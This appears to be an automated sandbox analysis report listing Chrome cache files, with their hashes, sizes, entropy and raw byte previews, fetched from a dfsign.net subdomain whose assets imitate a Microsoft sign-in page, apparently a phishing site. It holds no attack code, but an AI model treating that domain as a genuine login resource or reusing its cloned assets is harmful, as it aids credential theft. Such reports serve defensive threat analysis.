SSDEEP:	3072:/tFLZHWcDci8bP0H+SMA6/dWFC3Ozbt0emk9qhEOEoNG3LTbKokIP:FnHNci8bPwt6/dWFC3Oi7E/FL/KokI
MD5:	5F3ED0C357C2F7B8EEC7AED42F387E8D
SHA1:	30A66ECAD2AF5643AE555F492A7373A0EDCA764B
SHA-256:	2A064D50B6CC9F07BE886464BDFB0A55530F30438C920C91D549BA02EA9112E9
SHA-512:	EB9B131F866EB642CDB787D75142078C934ED8833FC07D3F3FF624A5A9F76044E1A39B334DA26FFC68D50C6C261428B5D776FC636051BCD7F3C85D7749CC61A6
Malicious:	false
Reputation:	low
URL:	https://9676170e-b5027fcd.dfsign.net/shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_27cef08ca792f8e8b149.js
Preview:	...........k[.H.(.}..[..-..c.c....0......!L.a...#yt......k...J..&...........^.~...._..j...W;;?8=.........m...~.}<>?zs.~=.(.;..qm.Oy.~....jaP......h.F^......\|oZ.G.M-...,...a..~..GW\|...L....N.(y...X-..Cm......p.......?.5/.QmS..b^K...jw..8.}..Q.....!.o..8...&X.x-.Im.F.D..U;.....-.T.:...1........8Ka..M.L.ZZ'....>........x....v.S;.<...0J.I.0.G.....B.F..c.k.~....C.:...r..,.w.q~....q......#42V.q..f\|.kK...1o.mP.}.......N..m..7.%^M.d.;...~2I.Z.q._...'..0..z1.`...8..........2.v.^AGjo....T.'."....D-.1,...#B......{H.l..y..#.Tw.j.....&j.V<../...,.'....%;."....ze..a..`^..`.c4..Yd=.zQ-p#.c.......b..X.?v....W[V.eC.o.%.l.7)....M.w.F.....NC......En.........v&>U...I.4.j......O?x..<....v........#\|0..\|..Zl.Y]..Em...x.5O>ES'a0U.l...w......."....2..[..].g....a.8[...X.y...i..%r......Z...O.W....^00y..v=l....Gfj...#.iYN...........r-8z.6..,..e.b..Y,/.}i..q.....YoS..5.m.&..<r./).>s.Vx.+.]M.....k\|...../....%e.U.....*.?.D...]m..x3...6t.........h...q>.w...FC

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 450689
Category:	dropped
Size (bytes):	122499
Entropy (8bit):	7.997799415341526
Encrypted:	true
SSDEEP:	3072:xqLtQHgFIOLgMc4dvuRbhFFb33Lqa8qoUg7N:xutbJsMcEkhF9IdNR
MD5:	D95902C22D30232060D01414A90C542C
SHA1:	69A694B1212222562CC1AEEA35D318E85AD2C341
SHA-256:	860A12B22DCE62F7F8E363128FF9406A77AE0D5DA39997A96C714B72AF1F4956
SHA-512:	C2E279AC2353CBC45A0AEE0003E9880E4E9F56E911C5621C58FD147855514CD32772E323C76FD1B3DC7B4A6DF2C04BAAAA2F0EE31AE29F541929ED9BE256B9C1
Malicious:	false
Reputation:	low
Preview:	...........}[.8......\&.L..{.x.t.nv.p......ql%xH...rB....J.-'..=...}...&.Jo.R..T}.y...\....J....uipR..\|zuT....(]..O..._.6.......?e%.;rb...F%?p.h.FN......\|gZ.G.<..<..dn...~.@.....2T.y.K'J^K.....6...P.....!).a.....6.. f.E......s..8.'......F.....KN.J1KJ.0J.x?..!B.Zcj....8t.....1......!vq..Ac.0..V.N..a..}(%a.5\..g..I..6...L...x.7.......8..B..J....^b/s.....I...r..L.3.... ..y...^K.l.....%.'.\|.8.T.....$.R..8.j.?.R.f..}..o.....$....a.'..Q....$..,......a..#..........1/w.Qf...#.H.(.9~ ..T'.47..r..0......-....".U.ag..\.X.U..w)(...F.'..@....n.;=.?.....w../au.I.p...U\|;.......O.. ...9.>8..9.....T...(;._..un...].:_..e..V:.....@..\..Ue.'Pe..&wv..T..ow.........?..\)WVb..r.;.....A........mpW.X.........z.....I...}j.....(...1.e.D.~.....;F..:..P.=.....(r^.........N1.F....@.Y%y.....t...Q....Y...$.V..XA..4.a.b.j..3.2.B...DL}4Y.r.u........`?....W`Z".S.S..}= .:......i.@E"1T.....`\.a....J:].....R....=R..y.........s<;....~NXr<%...\|.v&...5......D.

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 57510
Category:	dropped
Size (bytes):	16345
Entropy (8bit):	7.98961401355024
Encrypted:	false
SSDEEP:	384:gOBEj/gTOkWow6mhJqXnYI/0PiQBSoe122Yw/:gOBKJBXO586QB+11J
MD5:	1BB2645B377E0429225D33E4E2CC6E3F
SHA1:	A40797795C77CDFF574080B506BAB17DB38494B5
SHA-256:	B3B869875C7655F97500FBA0BCE74BCE7CC1DEE31D7CE5B93EA5D6457E07F08E
SHA-512:	49C98F20572C7488FEDB8AAF6C3D1D004904536524B79FA44CAABC5B91C8BA1A192B10F1FBE28112CC324E17600160E5BAA5E30261E5D63858C16376219DD3FE
Malicious:	false
Reputation:	low
Preview:	...........}Ms#.......\.@..'F.........3RH2....~......Q.x7...}..'.}..?e#...QU]....Vo..................?........w!......=.G...P.../......8z....q._5....g..}g..31......l*...],.b..;..`...Y....3..5.uGAi..NP.6<.w.(..`...y..d.N.x..^u.....^...?..N........Fq.....z..wgN./..Ep/f..c/.D4~X.W~).s/.E8...T...8,:..Q.p>.....7.....4....Z,&c.)n.[.pcQp...4...&...i.............CkL=.....g..m&vG..p... ....:N`y...ea.,....[......^.../D#(y.....l4.n..,.=_.p2P.....A,..RP..E.T......8 .v....Iw.X..?.r......nk....?Wj..a.\|..........JAs.j......?.)..t.z.-..m.]..3y...3@...'.)...Aa..1.kQ.....l+.....-q..n.p..{^...$..{/...=a..A...4.VH}..SBwju......S..hN.P..-..O,..S7.J,.....p.iLU.6W.....eO.7 ..C...{.E.Z...1...5s.!uY...@^. ,D".N.E......5.NE..\...VQa.A7..X.B..{.q..Ra..S....x(x7.Cp.#.#..:.......D..`,!IGr.. ...z.?.._0O.......;..0.z.h....5.../...q..5.\|..B.OY..k...].Sw.>.".@..!.9.V\|...=.dv.3!sr.....#...X8s.w.\|7..O/....!.."...3.."D..)...[........!^....3(..{...F2'..q.....x........

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 11977
Category:	dropped
Size (bytes):	4885
Entropy (8bit):	7.966201984130176
Encrypted:	false
SSDEEP:	96:VfNeE7wJH/aPrY4z3N2n+rsmboW0tR84Ha4tAydO7d8o4dWR:VkFH/aPXx2n+BItRrHHtJc7d8jMR
MD5:	DF4AA63B7F99FC82BDB7A5549D7AED62
SHA1:	45BBEA5E2A38D001413D1861C3CFF5F3F01C0AEC
SHA-256:	0F19F200EA8DAA0756EC413B3999201507BAE6FD00897DD99151A52FE6927FC7
SHA-512:	A22847D1C3E6A5497B8AE5A505FE84D7B274AC0DC88F58E1E4EF1BB8537421E6869441DB8BCD7D5643B21D5C5E4D858CA36860D0BAB554E8F325A80FD89154BC
Malicious:	false
Reputation:	low
Preview:	...........Z{s..._..Fs.2.(9..RX..;[.m..LoWR2..JL)R....K.}...ERV...lfb.yp....'...........;..~:.8a.....=.:{}..pZ..E..(N...u....R.I...L.2...%..8LX$.%S..V2.$.gI.+l..Iv....3.....s}v.....q...lu..B.4S.T.0.ih.:i.X..d7.x.`..S..Y...S...!y.......`.P,.Z.<\|vI+-.\.cN..r .9..`..._..g....'K.;...........e...'N..\|[........Y1U~..\..b....%....w&nWX.'wl..X^....s).R.....z}.....h.<&r..V"!.j.7q.\|.j.'.S..O.O9s...^vz/:.#.&.J..~.;....gQ..S?..;.y...}.;..u.yy...).]?.V.......l..i.........l?........s......[(...].^^.....v....NO\|...._...._.._......[..Ei.:}{.....{.m......n%...{......7....hw.{^@.s%c....,r.{/.d.....x[..f..$..s.....1_..G.[.....A...E>.W.u"\|.Q.A.n.....+l.>...b..S..Tt......,..Gb20'q",..d...>....vx..@.?]..u6............9..y.n.6..k\.U..#..)...R/.b...`...<P.M~.......K.l1...Vm.xX..A............Oa...cq.......[1....@O...Z..d....X..-Gr..UI...,KD....r.v.Yii..s..Z`vl0.F.....R....Gf.;.2.....\..p\#..r.....Q.=L...D.s..d...W.@..#....I@....zmO..fA.g.v.&.......M....,

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 21, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2291
Entropy (8bit):	7.098591798178667
Encrypted:	false
SSDEEP:	48:/E/6FDW94knA9WIMWO1OaOhtWp38iOvHgs2ViIt0TrnnITV5+AcQp:/ESECknmWIMW6Fc4IHgsg0Trn8V5+/Qp
MD5:	CED6097867FC35526894DA9C2B1ADD5C
SHA1:	AE78B5C64ACD64895FA4DC6DF7F83E2A67AA33F4
SHA-256:	FDCEE55A1A205F6F89DC1710582580801484C2EEEB74323E3F34ACE129EBF790
SHA-512:	EEA3ABCF012BA75D9F78ED2B689CB2AF74542FA7D374C4E0C36E0D04F8AE39597873BB82EFBEA207EB1E8A4B0B3593494BE7855EE1D70196705538AAE7C3E544
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR... .........'.......pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c002 79.a6a63968a, 2024/03/06-11:52:05 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 25.11 (Macintosh)" xmp:CreateDate="2024-09-10T12:12:24+02:00" xmp:ModifyDate="2024-09-10T12:12:48+02:00" xmp:MetadataDate="2024-09-10T12:12:48+02:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:abb1d837-1d97-4d09-b638-e7737c6fc3f5" xmpMM:DocumentID="xmp.did:abb1d837-1d97-4d09-b638-e7737c6fc3f5" xmpMM:OriginalDocumentID="xmp.did:abb1d837-1d97-4

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, original size modulo 2^32 1864
Category:	downloaded
Size (bytes):	673
Entropy (8bit):	7.6584200238076905
Encrypted:	false
SSDEEP:	12:XRt8TUViiYi5m6FhSBXWPsigK99WCqKMvBBFThSqfLd81CK6bC+k7LqZLsFlD:X+UVpkNK0Rwid81p6btk7LqZ6D
MD5:	2D2CBA7D7DC75F3BA9DC756738D41A6E
SHA1:	F87FD26066ED5E52A65DEE0ED2D581D3C3EA15AC
SHA-256:	00E21864CF1BC70302EBB5B496C6C471A7DA8CBF600630B478A3E2376ED20EA2
SHA-512:	46F17658CA247C02F612213025350390D8F62179C8DE26725EB17F5CCFAFDD63F2149DA1765D3C2F3A12FE85EF29CAC58457B0D5C2F8DA8DED6E1231A35F199D
Malicious:	false
Reputation:	low
URL:	https://9676170e-b5027fcd.dfsign.net/shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg
Preview:	...........U.n.0....}i..P..C..7l/..d........n...G....yl. .E.......Tu.F.........?$.i.s..s...C..wi$.....r....CT.U.FuS..r.e.~...G.q.....~M..mu}.0.=..&.~.e.WLX.....X..%p..i......7+.........?......WN..%>...$..c..}N....Y4?..x.1......#v...Gal9.!.9.A.u..b..>..".#A2"+...<qc.v....)3...x.p&..K.&..T.r.'....J.T....Q..=..H).X...<.r...KkX........)5i4.+.h.....5.<..5.^O.eC%V^....Nx.E..;..52..h....C"I./.`..O...f..r..n.h.r]}.G^..D.7..i.].}.G.].....{....oW............h.4...}~=6u..k...=.X..+z}.4.].....YS5..J......)......m....w.......~}.C.b_..[.u..9_7.u.u.....y.ss....:_yQ<{..K.V_Z....c.G.N.a...?/..%. .-..K.td....4...5.(.e.`G7..]t?.3..\..... ....G.H...

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 190235
Category:	downloaded
Size (bytes):	61127
Entropy (8bit):	7.995121099314004
Encrypted:	true
SSDEEP:	1536:kx0WdJLv3ecnX8S/DxrtM1Jd+jn2YCuUL:kHd93FnsCDxrC1bG2eG
MD5:	D651B2764389A1F462A64FE221B3BB85
SHA1:	CC3F806E3C0D953336564991FBDA67710FFDB0DF
SHA-256:	E58D717D6E949A6BE21E2F34F01D304FA8212A50CBCFF1E27EC62870481D461D
SHA-512:	6349BDC9CCF4CC2F227951A458CBDE4747DB2559B9049095C0180823D7F0BB1838E4DDB37A7AAE89B6E5DDFB0AA6A712687CA76CF9ACE1D5889C654F82133CEF
Malicious:	false
Reputation:	low
URL:	https://9676170e-b5027fcd.dfsign.net/shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js
Preview:	...........iw.F.0.....'W..`...8..^Y.m&.%NF..@`K.M...J.H..OU........'..4......Z.8..7.M......;.....4..K....z..<.rON.O..../.IT.i.2.......Y..N?ign..I{....k8......wU6..c.<KZY.-<.;.fI...,.n...2.>..8.,.!...(.#....xl.o.f.$./..\|3......s..j.}6..M...()X.......%.5..E..Y:cYq{t;k.xd.9...8.....<...x>aYm.M#...a..E.........E.....&...<....I.../.6.........)....6.s'N6..$a..,Na.k..T12..(.`r.X.+.6..o+./.4/.h;.l.....qry.........e...Z...eS..ZU........\|d.YC.gV#..x.:.V.s.z.,g2...X...p^.k...2E...7L....vR_...Kod]....M.%G)`{.6..Y..l.^.....8G..O.y...z..."NX....o-...d..=.'7.\...M".bC..V%{._XT....s....h....aQ..U.R;h..v....2..4... .?..~....1r.._......5..I.a.?,..?..U....?L..wlh$.a.....6.Q.O. ....5...X..Y.6....fYZO....y..Or..z]B..y..;o.....o.rS..HG.{K...Y&P...........#.x'.5..m.......s.6....6...."z...fM.6.......4@...%+.."6C.%./6'...2<.7...J5..l7.p9......(..WM...T}...:..o..9l.MX...-.i....a.)..[.09S .K)...e6i?.....x.9.0.7...V...\|.........u..g...n..mk-^..e.O/6...

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 26675
Category:	dropped
Size (bytes):	7403
Entropy (8bit):	7.974792099821
Encrypted:	false
SSDEEP:	192:CAltTYqBQas6v71Yf6EKUVxjEqWhV5L2aI3QCJ0FJ:CAjTYq+t6v714XEBLIK
MD5:	DA8AF613CEE3EA699943FFDFBEE62D3C
SHA1:	251112F781E63C03BF3C4FBFA735DFB94ABB55D2
SHA-256:	296A33B7AADE4F7EE5A5DD8E4D39A369A0389CEF477F6FA839D34D587EF4716F
SHA-512:	0905937465E081EB37CB268A2896A7117680F6FB001ACBB5EE408F79D5D0846E0EFF13F92D6F859DA2ADE53DB8997D73B41BD623A3B2BD30686EA5465FC7F253
Malicious:	false
Reputation:	low
Preview:	...........]mw.6.......q.-..I..tY...j.[k).I..EB.c.`I.j....w....{{..%..`0..<3........Omk....._....mp.<.zp..v~1....O.;...S?..~@5..9..4.j,...eq.b..D....w.m....T.b...<..?..hD...t .{Z..R.....S..O..Z.,Z..).B.}.jN..j.\....Gcm1....wc..1.b.R..:I.P^.hNL..rm.b>.\|.Z.k.T...1...k...c1P........a.....,1..C~.<h.iK6O./.....6KD?X^........0.._#.A.1..kBX....*$.R..N."...s&1.3.r....h......##.M8."......?.f....)a.3.S...w^lm....c.[S..z.t...\|dz...fH.S..'.....+.........D.;."...\|..hGl..a.e.<...$..I..I..?.D.....}....<....C..jAG..^....lE.................w...<tqX:%!....... 1\|m.....$...A............q....... s..c...a....}T....A"$c..\|}o.kl.....4n..z.b......mc.Y..##W.g.y.:L.vl..4aP.>..d.Eg..^3...\......'1XF..B.q..8f1..yJ...o;....4..\|_.f7..v.S)..F...Q3.....%]........[..@\.C..Q2...O..Y....].C..l.G.....,...MV}.."'I....1[@y/....r...k...Q@q...69.bz. ....{.c...j..o.`NI7.k@C...0a.E{"..$0.........r....C....]...$.........L...P...#.....G..yr..vM....e .%...X<a...`@o89.a..6....^.s(.1X4.^.

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	downloaded
Size (bytes):	3620
Entropy (8bit):	6.867828878374734
Encrypted:	false
SSDEEP:	48:ZumKaT5ezv47j2/ZiRDlq16x8XvEUcg777shHdpHVGJqFd:Eal647jPDlL8XvEUcg77kVGyd
MD5:	B540A8E518037192E32C4FE58BF2DBAB
SHA1:	3047C1DB97B86F6981E0AD2F96AF40CDF43511AF
SHA-256:	8737D721808655F37B333F08A90185699E7E8B9BDAAA15CDB63C8448B426F95D
SHA-512:	E3612D9E6809EC192F6E2D035290B730871C269A267115E4A5515CADB7E6E14E3DD4290A35ABAA8D14CF1FA3924DC76E11926AC341E0F6F372E9FC5434B546E5
Malicious:	false
Reputation:	low
URL:	https://9676170e-b5027fcd.dfsign.net/shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif
Preview:	GIF89a`.........iii!.......!.&Edited with ezgif.com online GIF maker.!..NETSCAPE2.0.....,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....`.....9..i....Q4......H..j.=.k9-5_..........j7..({.........!.......,....`.....9.......trV.......H....`.[.q6......>.. .CZ.&!.....M...!.......,....`.....8..........:......H..jJ..U..6_....../.el...q.).....!.......,....`.....9.....i..l.go.....H..".U...f......._......5......n..!.......,....`.....:..i......./.....H...5%.kE/5.........In.a..@&3.....J...!.......,....`.....9.......kr.j.....H...-.{Im5c..............@&.........!.......,....`.....9.........j..q....H...].&..\.5.........8..S..........!.......,....`.....9.......3q.g..5....H...:u..............Al..x.q.........!.......,....`.....9......\.F....z....H...zX...ov.........h3N.x4......j..!.......,....`.....9........Q.:......H....y..^...1.........n.!.F......E...!.......,....`.....8.........i,......H....*_.21.I.........%...

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 113424
Category:	downloaded
Size (bytes):	20410
Entropy (8bit):	7.9805705000682945
Encrypted:	false
SSDEEP:	384:BRvmaMFysnOXZ2m9zM+udO6GGUpeAU02oDGnN5EsQwWUQGTS8r2k:Bpmm7ZFM+ObGGUIjN5PJV3Tp
MD5:	69F909D3BA8C6B993DD001B8B9F54F55
SHA1:	F9EAAAA6BC33CE60A2DA8E9FF0F3408CC21CC9EA
SHA-256:	5DEB7C0DFBFFCA6439CADD009CD4F57AF7C3E8B6AD9B1467DB95A1B0DC262B0C
SHA-512:	F6BF4430A5156EA007DE793074AF2C2D2B5410AB04BF96FDC310FC3C66B3E9C0A759B5FC44E55B86811D5F6D07C382A5B6E648899617EE107DB31CF8A9F4C269
Malicious:	false
Reputation:	low
URL:	https://9676170e-b5027fcd.dfsign.net/ests/2.1/content/cdnbundles/converged.v2.login.min_81imvbluez-v5hbzpkxfcg2.css
Preview:	...........}k..6..w...R..J.H=GSI..x.9...}T.....)Q..f<...~.F.h..x..{+.-.....h..n....</v.ev......W.,.bU..rW.I...0x...C..2...6]..W_......../x.........~.z.}.\|.#x......AgO.\|XgU...4 .^'U...mP.A.].Z.U.!..Y.......:.ve.?.!..d.N...xJ...mR......0.@p...lKr/...E.-. .....\|l.4.o.i.......L.iF..T{.n....2....VEY.y=..=..T+V./.b....\....7.sH.w{.h.....!.."F.k.!.......d...mS.rh.&G.../..h&..RE"!.A/.......A....L...8.q.M...t[...R...>.6;R..^.Vu..9.[F........>A.:HT}w]......2........p......'T.^]}.^..yJ>.<..pq..h.\|..j....j.x..-...c...f...=".)..U.X'.M..l.]ZVtl\.I..}.0.~B0Y'.N...E.4.Xd..e...a.........."..9+d.&..l.$E..R.u.g.Q..w&...~I. .y..D.4;..'.."-.....b...)k.n.M...,3J.z_..&2f.h;.&.R.y..P..X.....\P.....r...B.$........<....H5.M.."'#.6mQl..mQ5.=.\...O.....^..jM..u.F..Oh.lNI..j..T..u...I..._........{.\...{..._\|..={O..z..>......x..5Q.D7?{...^...^.......o.=.z......v......z.C...Gtw...0!..M@....^...^.x..G....W...{...)..y.<c3...^>{......7._..'d__...;R.

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	downloaded
Size (bytes):	2672
Entropy (8bit):	6.640973516071413
Encrypted:	false
SSDEEP:	48:ZaOdwduTYPpS9pZy9vDNi1miicsvrJkafMiS+MGQ09DU/X9/4Xp6m5Z9SQcq:4CIuTYPpSTc9vcPZX9/2gzQ/
MD5:	166DE53471265253AB3A456DEFE6DA23
SHA1:	17C6DF4D7CCF1FA2C9EFD716FBAE0FC2C71C8D6D
SHA-256:	A46201581A7C7C667FD42787CD1E9ADF2F6BF809EFB7596E61A03E8DBA9ADA13
SHA-512:	80978C1D262BC225A8BA1758DF546E27B5BE8D84CBCF7E6044910E5E05E04AFFEFEC3C0DA0818145EB8A917E1A8D90F4BAC833B64A1F6DE97AD3D5FC80A02308
Malicious:	false
Reputation:	low
URL:	https://9676170e-b5027fcd.dfsign.net/shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif
Preview:	GIF89a`............!..NETSCAPE2.0.....!.......,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....0.............<....[.\K8j.tr.g..!.......,....3............^;...\UK.]\.%.V.c...!.......,....7........`....lo...[.a..*Rw~i...!.......,....;........h.....l.G-.[K.,_XA]..'g..!.......,....?........i.....g....Z.}..)..u...F..!.......,....C...............P.,nt^.i....Xq...i..!.......,....F...........{^b....n.y..i...\C.-...!.......,....H..............R...o....h.xV!.z#...!.......,"...L.............r.jY..w~aP(.......[i...!.......,(...N.............r....w.aP.j.'.)Y..S..!.......,....H.........`......hew..9`.%z.xVeS..!.......,5...A.........`...\m.Vmtzw.}.d.%...Q..!.......,9...=.........h......3S..s.-W8m...Q..!.......,A...5.........h.....N...:..!..U..!.......,H.............h....M.x...f.i.4..!.......,O...'.........i...tp......(..!.......,X.............j...@.x....!.......,].............j..L..3em..!.......,e.............`......!.......,n..............{i..!..

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, original size modulo 2^32 3651
Category:	dropped
Size (bytes):	1435
Entropy (8bit):	7.860223690068481
Encrypted:	false
SSDEEP:	24:XvstSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcN:Xv7DkpyVCGca4b//9z5oPXdbl9688qRU
MD5:	DF6A7721C242813411CC6950DF40F9B3
SHA1:	B2068C4A65C183AAD6FC22A44CC1FA449CD355B4
SHA-256:	AA53B6DC744357B392FC57C34E516BAE465D4A6837775C137A176D599C8EA948
SHA-512:	CDCFB686649F2061FE13A58841EB6A4E17F40951BA0C440C568B248E6128B6E0C4E79F95DC3EAB81286C103ED2A966F7058D22066466ADED482BF9ECAA6EA3CB
Malicious:	false
Reputation:	low
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, original size modulo 2^32 3651
Category:	downloaded
Size (bytes):	1435
Entropy (8bit):	7.860223690068481
Encrypted:	false
SSDEEP:	24:XvstSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcN:Xv7DkpyVCGca4b//9z5oPXdbl9688qRU
MD5:	DF6A7721C242813411CC6950DF40F9B3
SHA1:	B2068C4A65C183AAD6FC22A44CC1FA449CD355B4
SHA-256:	AA53B6DC744357B392FC57C34E516BAE465D4A6837775C137A176D599C8EA948
SHA-512:	CDCFB686649F2061FE13A58841EB6A4E17F40951BA0C440C568B248E6128B6E0C4E79F95DC3EAB81286C103ED2A966F7058D22066466ADED482BF9ECAA6EA3CB
Malicious:	false
Reputation:	low
URL:	https://9676170e-b5027fcd.dfsign.net/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, original size modulo 2^32 1864
Category:	dropped
Size (bytes):	673
Entropy (8bit):	7.6584200238076905
Encrypted:	false
SSDEEP:	12:XRt8TUViiYi5m6FhSBXWPsigK99WCqKMvBBFThSqfLd81CK6bC+k7LqZLsFlD:X+UVpkNK0Rwid81p6btk7LqZ6D
MD5:	2D2CBA7D7DC75F3BA9DC756738D41A6E
SHA1:	F87FD26066ED5E52A65DEE0ED2D581D3C3EA15AC
SHA-256:	00E21864CF1BC70302EBB5B496C6C471A7DA8CBF600630B478A3E2376ED20EA2
SHA-512:	46F17658CA247C02F612213025350390D8F62179C8DE26725EB17F5CCFAFDD63F2149DA1765D3C2F3A12FE85EF29CAC58457B0D5C2F8DA8DED6E1231A35F199D
Malicious:	false
Reputation:	low
Preview:	...........U.n.0....}i..P..C..7l/..d........n...G....yl. .E.......Tu.F.........?$.i.s..s...C..wi$.....r....CT.U.FuS..r.e.~...G.q.....~M..mu}.0.=..&.~.e.WLX.....X..%p..i......7+.........?......WN..%>...$..c..}N....Y4?..x.1......#v...Gal9.!.9.A.u..b..>..".#A2"+...<qc.v....)3...x.p&..K.&..T.r.'....J.T....Q..=..H).X...<.r...KkX........)5i4.+.h.....5.<..5.^O.eC%V^....Nx.E..;..52..h....C"I./.`..O...f..r..n.h.r]}.G^..D.7..i.].}.G.].....{....oW............h.4...}~=6u..k...=.X..+z}.4.].....YS5..J......)......m....w.......~}.C.b_..[.u..9_7.u.u.....y.ss....:_yQ<{..K.V_Z....c.G.N.a...?/..%. .-..K.td....4...5.(.e.`G7..]t?.3..\..... ....G.H...

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 245 x 36, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	4358
Entropy (8bit):	7.684931433501991
Encrypted:	false
SSDEEP:	96:FCknmWIM6nISHgkxJ1kOd9ozwazZcgb+plIQwQoSlk18GK+f:kknE1kuozVz6o86BQomkVK+f
MD5:	517B74C50275CC8801796ACDE8E370C6
SHA1:	718E6F35875EA6ECB082274A82B072516EA4C28F
SHA-256:	AA91D42851283B3C461529A9113A9DD75088716B28CA2F86118B2AF89B3E7B41
SHA-512:	36DE3FD2F14F2844D87DD522D0D411232A055E1B35F632315ABE5BC0A10EF168AA733007D6F3096003E8EA96B66D970A2E32171DAC1D6036A13B419B6BCC00AE
Malicious:	false
Reputation:	low
